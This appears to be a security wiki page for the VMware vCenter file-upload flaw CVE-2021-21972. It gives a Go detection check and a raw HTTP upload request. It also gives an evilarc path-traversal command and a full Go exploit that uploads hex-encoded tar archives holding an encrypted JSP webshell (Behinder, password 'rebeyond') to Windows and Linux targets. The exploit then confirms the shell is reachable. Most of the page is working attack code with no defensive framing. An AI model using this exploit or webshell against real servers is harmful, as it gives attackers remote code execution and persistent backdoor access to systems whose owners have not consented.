View source for VMware vCenter RCE (CVE-2021-21972) 漏洞

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<br><noinclude>


==POC==
<pre>
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
    vulUri1 := "/ui/vropspluginui/rest/services/getstatus"
    resp1, err := httpclient.SimpleGet(u.FixedHostInfo + vulUri1)
    if err != nil {
        return false
    }
    vulUri2 := "/ui/vropspluginui/rest/services/uploadova"
    cfg := httpclient.NewPostRequestConfig(vulUri2)
    cfg.VerifyTls = false
    resp2, err := httpclient.DoHttpRequest(u, cfg)
    if err != nil {
        return false
    }
    if resp1.StatusCode == 200 && strings.Contains(resp1.Utf8Html, "States") &&
        resp2.StatusCode == 500 && strings.Contains(resp2.Utf8Html, "uploadFile") {
        return true
    }
    return false
}
</pre>

==EXP==
<pre>
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vSphereClient.local
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 10425


------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain


{craftedArchive}
------WebKitFormBoundaryH8GoragzRFVTw1VD--
</pre>


==RCE on Windows==
https://github.com/ptoomey3/evilarc

<pre>
python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar shell.jsp
</pre>

<pre>
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
    if ss.Params["AttackType"].(string) == "windows_webshell" {
        payloadHex := "2e2f2e2f404c6f6e674c696e6b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030303030303030003030303030303000303030303030300030303030303030303136340030303030303030303030300030313132313600204c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007573746172202000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003030303030303000303030303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c50726f6772616d446174615c564d776172655c7643656e7465725365727665725c646174615c706572666368617274735c74632d696e7374616e63655c776562617070735c73746174737265706f72745c4e6576745368656c6572457869736c2e6a7370000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e2e5c2e2e5c2e2e5c2e2e5c2e2e5c50726f6772616d446174615c564d776172655c7643656e7465725365727665725c646174615c706572666368617274735c74632d696e7374616e63655c776562617070735c73746174737265706f72745c4e657674303030303737370030303031373530003030303137353000303030303030303131373100313430313534333037313100303333333732002030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007573746172202000626d680000000000000000000000000000000000000000000000000000000000626d6800000000000000000000000000000000000000000000000000000000003030303030303000303030303030300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b2f2ae8afa5e5af86e992a5e4b8bae8bf9ee68ea5e5af86e7a0813332e4bd8d6d6435e580bce79a84e5898d3136e4bd8defbc8ce9bb98e8aea4e8bf9ee68ea5e5af86e7a08172656265796f6e642a2f73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d2f2a316b646e77627279324c7949377079412a2f253e0a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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        payloadBytes, err := hex.DecodeString(payloadHex)
        if err != nil {
            return expResult
        }
        cfg := httpclient.NewPostRequestConfig("/ui/vropspluginui/rest/services/uploadova")
        cfg.VerifyTls = false
        cfg.Header.Store("Accept", "application/json")
        cfg.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD")
        cfg.Data = "------WebKitFormBoundaryH8GoragzRFVTw1VD\r\nContent-Disposition: form-data; name=\"uploadFile\"; filename=\"a.ova\"\r\nContent-Type: text/plain\r\n\r\n"
        cfg.Data += string(payloadBytes)
        cfg.Data += "\r\n------WebKitFormBoundaryH8GoragzRFVTw1VD--"
        if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil && resp.StatusCode == 200 {
            if resp, err := httpclient.SimpleGet(expResult.HostInfo.FixedHostInfo + "/statsreport/NevtShelerExisl.jsp"); err == nil &&
                resp.StatusCode == 200 {
                expResult.Success = true
                expResult.Output = "Webshell: " + expResult.HostInfo.FixedHostInfo + "/statsreport/NevtShelerExisl.jsp\n"
                expResult.Output += "Password：rebeyond\n"
                expResult.Output += "Webshell tool: Behinder v3.0"
            }
        }
    } else if ss.Params["AttackType"].(string) == "linux_webshell" {
        payloadHex := "2e2e2f2e2e2f7573722f6c69622f766d776172652d767370686572652d75692f7365727665722f776f726b2f6465706c6f7965722f732f676c6f62616c2f34322f302f68356e67632e7761722f7265736f75726365732f00000000000000000000000000303030303735350030303030303030003030303030303000303030303030303030303000313430313534333132313000303237313435002035000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007573746172202000726f6f7400000000000000000000000000000000000000000000000000000000726f6f74000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e2e2f2e2e2f7573722f6c69622f766d776172652d767370686572652d75692f7365727665722f776f726b2f6465706c6f7965722f732f676c6f62616c2f34322f302f68356e67632e7761722f7265736f75726365732f7368656c6c2e6a737000000000303030303634340030303030303030003030303030303000303030303030303131373100313430313534333037313100303330373737002030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007573746172202000726f6f7400000000000000000000000000000000000000000000000000000000726f6f74000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003c25407061676520696d706f72743d226a6176612e7574696c2e2a2c6a617661782e63727970746f2e2a2c6a617661782e63727970746f2e737065632e2a22253e3c2521636c617373205520657874656e647320436c6173734c6f616465727b5528436c6173734c6f616465722063297b73757065722863293b7d7075626c696320436c61737320672862797465205b5d62297b72657475726e2073757065722e646566696e65436c61737328622c302c622e6c656e677468293b7d7d253e3c2569662028726571756573742e6765744d6574686f6428292e657175616c732822504f53542229297b537472696e67206b3d2265343565333239666562356439323562223b2f2ae8afa5e5af86e992a5e4b8bae8bf9ee68ea5e5af86e7a0813332e4bd8d6d6435e580bce79a84e5898d3136e4bd8defbc8ce9bb98e8aea4e8bf9ee68ea5e5af86e7a08172656265796f6e642a2f73657373696f6e2e70757456616c7565282275222c6b293b43697068657220633d4369706865722e676574496e7374616e6365282241455322293b632e696e697428322c6e6577205365637265744b657953706563286b2e676574427974657328292c224145532229293b6e6577205528746869732e676574436c61737328292e676574436c6173734c6f616465722829292e6728632e646f46696e616c286e65772073756e2e6d6973632e4241534536344465636f64657228292e6465636f646542756666657228726571756573742e67657452656164657228292e726561644c696e6528292929292e6e6577496e7374616e636528292e657175616c732870616765436f6e74657874293b7d2f2a316b646e77627279324c7949377079412a2f253e0a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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        payloadBytes, err := hex.DecodeString(payloadHex)
        if err != nil {
            return expResult
        }
        cfg := httpclient.NewPostRequestConfig("/ui/vropspluginui/rest/services/uploadova")
        cfg.VerifyTls = false
        cfg.Header.Store("Accept", "application/json")
        cfg.Header.Store("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD")
        cfg.Data = "------WebKitFormBoundaryH8GoragzRFVTw1VD\r\nContent-Disposition: form-data; name=\"uploadFile\"; filename=\"a.ova\"\r\nContent-Type: text/plain\r\n\r\n"
        cfg.Data += string(payloadBytes)
        cfg.Data += "\r\n------WebKitFormBoundaryH8GoragzRFVTw1VD--"
        if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil && resp.StatusCode == 200 {
            if resp, err := httpclient.SimpleGet(expResult.HostInfo.FixedHostInfo + "/ui/resources/shell.jsp"); err == nil &&
                resp.StatusCode == 200 {
                expResult.Success = true
                expResult.Output = "Webshell: " + expResult.HostInfo.FixedHostInfo + "/ui/resources/shell.jsp\n"
                expResult.Output += "Password：rebeyond\n"
                expResult.Output += "Webshell tool: Behinder v3.0"
            }
        }
    }
    return expResult
}
</pre>